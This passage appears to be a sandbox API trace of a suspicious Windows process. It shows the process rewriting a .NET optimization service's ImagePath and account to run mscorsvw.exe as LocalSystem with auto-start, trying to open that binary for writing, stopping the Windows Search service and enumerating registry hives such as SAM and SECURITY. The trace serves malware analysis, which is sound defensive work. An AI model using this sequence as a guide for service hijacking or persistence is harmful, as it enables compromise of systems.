(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0247.974] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0247.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0247.974] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.974] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.974] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.974] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.975] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.976] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.976] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0247.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0247.976] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0247.976] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.976] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.976] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.976] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.976] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.976] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.976] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.976] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.977] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.977] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.977] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.977] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.977] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.977] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.977] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.977] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.977] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0247.977] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0247.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0247.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0247.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.977] LocalFree (hMem=0x7f03d0) returned 0x0 [0247.978] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0247.978] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x8038a0 [0247.978] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0247.979] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0247.980] RegCloseKey (hKey=0x154) returned 0x0 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0247.980] RegCloseKey (hKey=0xc4) returned 0x0 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0247.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0247.980] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x65bf4000, ftLastWriteTime.dwHighDateTime=0x1c9e95e, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0247.980] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.980] GetLastError () returned 0x20 [0247.980] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0247.981] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0247.981] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0247.981] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x20) returned 0x803990 [0247.982] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0247.982] GetLastError () returned 0x425 [0247.982] CloseServiceHandle (hSCObject=0x803990) returned 1 [0247.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0247.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0247.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0247.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0247.982] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.982] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0247.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.984] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.984] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0247.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0247.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.984] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.984] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0247.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", 